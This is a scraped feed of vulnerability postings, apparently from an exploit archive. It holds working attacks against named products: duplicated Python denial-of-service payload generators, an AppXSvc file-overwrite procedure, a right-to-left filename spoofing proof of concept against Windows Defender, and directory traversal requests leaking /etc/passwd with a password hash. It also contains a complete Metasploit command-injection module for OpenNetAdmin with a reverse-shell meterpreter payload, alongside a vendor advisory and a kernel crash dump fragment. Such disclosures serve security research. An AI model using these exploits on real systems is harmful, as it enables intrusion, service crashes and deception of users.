fffff804`1f6abb11 448bf0 mov r14d,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
rax=fffff80428bf5020 rbx=ffffca04cc188290 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000000 rdi=ffffca04ca8f80a0
rip=fffff8041f6d763c rsp=ffffc709dee8f7e0 rbp=ffffc709dee8fa80
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=ffffca04ca8f81b8 r13=fffff780000002dc
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!NtClose+0xffc:
fffff804`1f6d763c eb25 jmp nt!NtClose+0x1023 (fffff804`1f6d7663)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
rip=fffff8041f64c356 rsp=ffffc709dee8f920 rbp=ffffc709dee8fa80
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!NtDeviceIoControlFile+0x56:
fffff804`1f64c356 4883c468 add rsp,68h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
rip=fffff8041f27a305 rsp=ffffc709dee8f990 rbp=ffffc709dee8fa80
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!setjmpex+0x7925:
fffff804`1f27a305 0f1f00 nop dword ptr [rax]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
rax=fffff80428bf5020 rbx=0000000000000000 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=00000000deadbeef rdi=000000000000004c
rip=00007fff33aaf844 rsp=000000000068fcf8 rbp=000000000000004c
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
00007fff`33aaf844 ?? ???
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx

# Mitigation

Update to Lenovo Power Management driver version 1.67.17.48 or higher

Product Key Explorer 4.2.0.0 Name Denial Of Service

$
0
0

Product Key Explorer version 4.2.0.0 suffers from a Name denial of service vulnerability.


MD5 | 986e1dff710ea02ff435e9d06c008628

# Exploit Title: Product Key Explorer 4.2.0.0 - 'Name' Denial of Service (POC)
# Discovery by: SajjadBnd
# Date: 2019-12-10
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Tested Version: 4.2.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro

# [ About App ]

# Find product keys for over +9000 most popular programs: Windows 8.1, Windows 8, Windows 7, Vista,
# Windows 10, Microsoft Office, Adobe CS6, CS5, CS4 and CS3, Norton, Electronic Arts games, WinZip, Nero and more...
# Visit "Features" page to see all supported software list of programs with which product key finder works.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# Product key Explorer recovers product keys for software installed on your
# local and network computers, allows track the number of software licenses installed in your business.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# With Product Key Explorer you can recover lost product keys for all major software programs, prevent losing your investment and money!
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# You can save product keys as Tab Delimited Txt File (.txt), Excel Workbook (.xls), CSV Comma Delimited (.csv),
# Access Database (.mdb), SQLLite3 Database, Web Page (.html) or XML Data (.xml) file, Print or Copy to Clipboard.


# [ POC ]

# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Product Key Explorer and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Crashed ;)

#!/usr/bin/env python
buffer = "\x41" * 100
buffer += "\x42" * 100
buffer += "\x43" * 58
try:
f = open("dos.txt","w")
print "[+] Creating %s bytes DOS payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

AppXSvc 17763 Arbitrary File Overwrite

$
0
0

AppXSvc 17763 suffers from an arbitrary file overwrite vulnerability.


MD5 | 27175b4528bc6db5f32bd6d10c198699

# Exploit Title: AppXSvc 17763 - Arbitrary File Overwrite (DoS)
# Date: 2019-10-28
# Exploit Author: Gabor Seljan
# Vendor Homepage: https://www.microsoft.com/
# Version: 17763.1.amd64fre.rs5_release.180914-1434
# Tested on: Windows 10 Version 1809 for x64-based Systems
# CVE: CVE-2019-1476

# Summary:
# AppXSvc improperly handles file hard links resulting in a low privileged user
# being able to overwrite an arbitrary file leading to elevation of privilege.

# Description:

# An elevation of privilege vulnerability exists when the AppX Deployment Server
# (AppXSvc) improperly handles file hard links. While researching CVE-2019-0841
# originally reported by Nabeel Ahmed, I have found that AppXSvc can be forced
# to overwrite an arbitrary file by deleting all registry data files before
# creating the file hard link. As Nabeel Ahmed described in his write-up of
# CVE-2019-0841, if the settings.dat file is corrupted it will be replaced with
# the original settings.dat template. However, additional settings.dat.LOG1 and
# settings.dat.LOG2 files are also created during the initialization process.
# Substituting the settings.dat.LOG1 or the settings.dat.LOG2 file with a hard
# link allows a low privileged user to overwrite an arbitrary file with registry
# data or just simply empty it, respectively. A low privileged user could exploit
# this vulnerability to cause denial of service by overwriting critical system
# files.

Steps to reproduce:
1. Terminate Paint 3D processes.
2. Delete settings.* files in Microsoft.MSPaint_8wekyb3d8bbwe\Settings folder.
3. Create a hard link from settings.dat.LOG1 to C:\Windows\win.ini.
4. Execute the start ms-paint: command to run Paint 3D.
5. Terminate Paint 3D processes.

Expected result:
It isn't possible to overwrite a file not writable by a low privileged user.

Observed result:
C:\Windows\win.ini file is overwritten with registry data.

References:
https://github.com/sgabe/CVE-2019-1476
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1476
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841

Adobe Acrobat Reader DC For Windows Memory Corruption

$
0
0

Adobe Acrobat Reader DC for Windows suffers from a heap-based memory corruption vulnerability due to malformed TTF font handling.


MD5 | 758f99d981b49ec41d80325c4f847006


Product Key Explorer 4.2.0.0 Key Denial Of Service

$
0
0

Product Key Explorer version 4.2.0.0 suffers from a Key denial of service vulnerability.


MD5 | 9bbf0f88fcc147555aafba4f4e7f1811

# Exploit Title: Product Key Explorer 4.2.0.0 - 'Key' Denial of Service (POC)
# Discovery by: SajjadBnd
# Date: 2019-12-10
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Tested Version: 4.2.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro

# [ About App ]

# Find product keys for over +9000 most popular programs: Windows 8.1, Windows 8, Windows 7, Vista,
# Windows 10, Microsoft Office, Adobe CS6, CS5, CS4 and CS3, Norton, Electronic Arts games, WinZip, Nero and more...
# Visit "Features" page to see all supported software list of programs with which product key finder works.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# Product key Explorer recovers product keys for software installed on your
# local and network computers, allows track the number of software licenses installed in your business.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# With Product Key Explorer you can recover lost product keys for all major software programs, prevent losing your investment and money!
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software
# You can save product keys as Tab Delimited Txt File (.txt), Excel Workbook (.xls), CSV Comma Delimited (.csv),
# Access Database (.mdb), SQLLite3 Database, Web Page (.html) or XML Data (.xml) file, Print or Copy to Clipboard.


# [ POC ]

# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Product Key Explorer and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Key'
# 6.click 'ok'
# 5.Crashed ;)

#!/usr/bin/env python
buffer = "\x41" * 100
buffer += "\x42" * 100
buffer += "\x43" * 58
try:
f = open("dos.txt","w")
print "[+] Creating %s bytes DOS payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


CA Automic Sysload Arbitrary Command Execution

$
0
0

CA Technologies, A Broadcom Company, is alerting customers to a potential risk with CA Automic Sysload in the File Server component. A vulnerability exists that can allow a remote attacker to execute arbitrary commands. CA published solutions to address the vulnerability and recommends that all affected customers implement this solution. The vulnerability occurs due to a lack of authentication on the File Server port. A remote attacker may execute arbitrary commands. CA Automic Sysload versions 5.6.0, 5.8.0, 5.8.1, 6.0.0, 6.0.1, and 6.1.2 are affected.


MD5 | 56b5ec4b1c49fc21a69cf29f790dbd58

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CA20191210-01: Security Notice for CA Automic Sysload

Issued: December 10th, 2019
Last Updated: December 10th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Automic Sysload in the File Server component. A
vulnerability exists that can allow a remote attacker to execute
arbitrary commands. CA published solutions to address the
vulnerability and recommends that all affected customers implement
this solution.

The vulnerability, CVE-2019-19518, occurs due to a lack of
authentication on the File Server port. A remote attacker may execute
arbitrary commands.


Risk Rating

High


Platform(s)

All supported platforms


Affected Products

CA Automic Sysload 5.6.0, 5.8.0, 5.8.1, 6.0.0, 6.0.1, 6.1.2


How to determine if the installation is affected

A customer is affected by vulnerability if the module Sysload File
Server is installed in the following versions:
5.60 (build lower than 60.13)
5.80
6.00 (build lower than 65.6)


Solution

CA Technologies published the following solutions to address the
vulnerability:

5.6.0 HF1
5.6.0 HF2
5.8.0 HF1
5.8.1 HF1
6.0.0 HF1
6.0.1 HF1
6.1.2 HF1
Those hotfixes include the module Sysload File Server in the
following versions ('readme' file):
5.60 build 60.13 (OS/400)
6.00 build 65.8 (Unix, Windows)

All of the hotfixes are available for download at Sysload downloads.


References

CVE-2019-19518 - CA Automic Sysload


Acknowledgement

CVE-2019-19518 - Raphaël Rigo from the Airbus Security Lab


Change History

Version 1.0: 2019-12-10 - Initial Release


CA customers may receive product alerts and advisories by subscribing
to Proactive Notifications on the support site.

Customers who require additional information about this notice may
contact CA Technologies Support at https://casupport.broadcom.com/

To report a suspected vulnerability in a CA Technologies product,
please send a summary to the CA Technologies Product Vulnerability
Response Team at ca.psirt <AT> broadcom.com

Security Notices, PGP key, disclosure policy, and related guidance can
be found at https://techdocs.broadcom.com/ca-psirt


Regards,
Ken Williams
Vulnerability and Incident Response, CA PSIRT
https://techdocs.broadcom.com/ca-psirt
Broadcom | broadcom.com | Kansas City, Missouri, USA
ken.williams <AT> broadcom.com | ca.psirt <AT> broadcom.com


Copyright © 2019 Broadcom. All Rights Reserved. The term “Broadcom”
refers to Broadcom Inc. and/or its subsidiaries. Broadcom, the pulse
logo, Connecting everything, CA Technologies and the CA technologies
logo are among the trademarks of Broadcom. All trademarks, trade names,
service marks and logos referenced herein belong to their respective
companies.

-----BEGIN PGP SIGNATURE-----
Version: Encryption Desktop 10.3.2 (Build 15238)
Charset: utf-8

wsBVAwUBXfDwDLZ6yOO9o8STAQiXVAf8DSLtflogd+hHtRQRr3mJUZ7FUxJhrkI7
X1V99aL0XX83rVLf/UXNf0wM9WjEJAZTB1KXTzhI9jJQtVXLJiDnxLbEmxhDAuIJ
DNXcOssbiFRWqZShh8H0/EBr9H8xcW+rwhDoHLaaJK/sRyy/LB305/6x4SmyzASc
+K2uTaPg8A7IwH5kosjZorHmuHHbB/S7Y/GuZ7Wz+RFHYHtTnb+1h7VLMCnaxMgb
ur+6oP5LVuCRROJ1kGgiS+ryrdMZuy8XCsZ1LbhoA0yOOcftGUd1gnD3jTCH2YFM
Q23cLNuucwP46x/PLRDRA3b2dEYi6cHPyPe7Y+k60wSV8kr1nX2u2Q==
=VWEC
-----END PGP SIGNATURE-----

Windows Defender Antivirus 4.18.1908.7-0 File Extension Spoofing

$
0
0

Windows Defender Antivirus version 4.18.1908.7-0 suffers from a file extension spoofing vulnerability.


MD5 | bf4d6995971178b6b1ea80749698ee1f

SEC Consult Vulnerability Lab Security Advisory < 20191211-0 >
=======================================================================
title: File Extension Spoofing
product: Windows Defender Antivirus
vulnerable version: 4.18.1908.7-0
fixed version: Virus Definition Update of 2019/09/30
CVE number: -
impact: High
homepage: https://www.microsoft.com/de-at/windows/comprehensive-security
found: 2019-09-25
by: David Haintz (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Keep your PC safe with trusted antivirus protection built-in to Windows 10.
Windows Defender Antivirus delivers comprehensive, ongoing and real-time
protection against software threats like viruses, malware and spyware across
email, apps, the cloud and the web."

Source: https://www.microsoft.com/de-at/windows/comprehensive-security


Business recommendation:
------------------------
Update to the latest version of the Windows Defender Antivirus definitions.


Vulnerability overview/description:
-----------------------------------
The vulnerability is based on the file extension spoofing method using the RTL
unicode character to display a spoofed file extension. This method uses the LTR
unicode character, that instructs the following text to be shown in left-to-right
order. Lets assume [LTR] is the LTR unicode character, an attacker can use this
unicode character to fool a user into believing that a file has a different extension.

For example an attacker may name an executable file (.exe) 'spoofed-[LTR]gpj.exe',
which would be displayed as 'spoofed-exe.jpg' on an LTR-based system. The most important
point here is to have the extension you want to be shown in reverse order, since it will
be shown right-to-left.
Combined with the right file icon, an attacker can imitate an arbitrary file extension.

Same goes for other extensions too, like 'xlsx' for a Microsoft Excel Sheet. During testing
it happened that 'xlsx' was typed in the wrong order ('xslx' instead of 'xlsx' since reverse
order) and Windows Defender Antivirus removed the test file while we tried to execute it.
As a result, two files were created, with the exact same executable but with different fake
extensions:
1. spoofed-[RTL]xslx.exe (displayed as 'spoofed-exe.xlsx')
2. spoofed-[RTL]xlsx.exe (displayed as 'spoofed-exe.xslx')

The second one was deleted, while the first one could be executed without any problem.

Therefore, other extensions related to Microsoft Office were tested as well, but it seems
only the xlsx extension had a detection for it.


While the security issue of spoofing the file extension by using the RTL unicode character
(on RTL systems it is the same just with LTR) is widely known, it seems to be unknown that
Microsoft already started to add detection mechanisms for this issue. But since it is not
implemented for all extensions and it seems to be implemented in the wrong order, this
feature is mostly unknown.


Proof of concept:
-----------------
For the proof of concept a file has to be renamed in Unicode mode using the Unicode
character '202E' ('\u202E' in C), which stands for RTL. The sample code is written in
C/C++ and uses the unicode API of Windows. A Python PoC has been made as well.

C/C++:

#include <Windows.h>

int main(int argc, char** argv)
{
wchar_t opath[] = L"test.exe";
wchar_t npath_ok[] = L"spoofed-\u202Exslx.exe"; // String for filename 'spoofed-exe.xlsx'
wchar_t npath_wrong[] = L"spoofed-\u202Exlsx.exe"; // String for filename 'spoofed-exe.xslx'

// Copy 'test.exe' to file shown as 'spoofed-exe.xlsx'
CopyFileW(opath, npath_ok, false);
// Copy 'test.exe' to file shown as 'spoofed-exe.xslx'
CopyFileW(opath, npath_wrong, false);
}


Python:

from shutil import copyfile

opath = "test.exe"
npath_ok = "spoofed-\u202Exslx.exe" # String for filename 'spoofed-exe.xlsx'
npath_wrong = "spoofed-\u202Exlsx.exe" # String for filename 'spoofed-exe.xslx'

# Copy 'test.exe' to file shown as 'spoofed-exe.xlsx'
copyfile(opath, npath_ok)
# Copy 'test.exe' to file shown as 'spoofed-exe.xslx'
copyfile(opath, npath_wrong)


There will be two new files after the execution (as long as 'test.exe' exists) and the file
shown as 'spoofed-exe.xslx' will be deleted while trying to execute (or earlier) as shown
in figure 1.

[ win-defender-ext-spoofing1.png ]
Figure 1: File gets deleted by Windows Defender Antivirus.


But the file shown as 'spoofed-exe.xlsx' will be executed without any problem.

[ win-defender-ext-spoofing2.png ]
Figure2: Test file is executed.



Vulnerable / tested versions:
-----------------------------
Windows Defender Antivirus has been tested in its latest version 4.18.1908.7-0, updated at 25th
of September 2019.


Vendor contact timeline:
------------------------
2019-09-26: Providing vendor the advisory through secure@microsoft.com
2019-10-01: Microsoft answered that this is no vulnerability, but the virus definition
database will be updated
2019-12-11: Public release of security advisory


Solution:
---------
The update of the virus definition database of the 30th of September provides a fix.


Workaround:
-----------
There is no workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF David Haintz / @2019

Bullwark Momentum Series JAWS 1.0 Directory Traversal

$
0
0

Bullwark Momentum Series JAWS version 1.0 suffers from a directory traversal vulnerability.


MD5 | 9c13d9574ed7f6ae1ac1f4755cf23500

# Title: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
# Date: 2019-12-11
# Author: Numan Türle
# Vendor Homepage: http://www.bullwark.net/
# Version : Bullwark Momentum Series Web Server JAWS/1.0
# Software Link : http://www.bullwark.net/Kategoriler.aspx?KategoriID=24

POC
---------

GET /../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

root:ABgia2Z.lfFhA:0:0::/root:/bin/sh

OpenNetAdmin 18.1.1 Command Injection

$
0
0

This Metasploit module exploits a command injection in OpenNetAdmin versions 8.5.14 through 18.1.1.


MD5 | e0125a1f3ab628006c1c5332f3a1c783

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNetAdmin Ping Command Injection',
'Description' => %q{
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
},
'Author' =>
[
'mattpascoe', # Vulnerability discovery
'Onur ER <onur@onurer.net>' # Metasploit module
],
'References' =>
[
['EDB', '47691']
],
'DisclosureDate' => '2019-11-19',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' =>
[
['Automatic Target', {}]
],
'DefaultOptions' =>
{
'RPORT' => 80,
'payload' => 'linux/x86/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))

register_options(
[
OptString.new('VHOST', [false, 'HTTP server virtual host']),
OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
]
)
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'vars_post' => {
'xajax' => 'window_open',
'xajaxargs[]' => 'app_about'
}
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.body =~ /OpenNetAdmin/i
return CheckCode::Safe
end

opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
version = Gem::Version.new('opennetadmin_version')

if version
vprint_status "OpenNetAdmin version #{version}"
end

if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')
return CheckCode::Appears
end

CheckCode::Detected
end

def exploit
print_status('Exploiting...')
execute_cmdstager(flavor: :printf)
end

def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
end

def execute_command(cmd, opts = {})
post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"

begin
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

NVMS-1000 Directory Traversal

$
0
0

NVMS-1000 suffers from a directory traversal vulnerability.


MD5 | 4faa08b0960e93093a283aeb4b7f6d71

# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Viewing all 13315 articles
Browse latest View live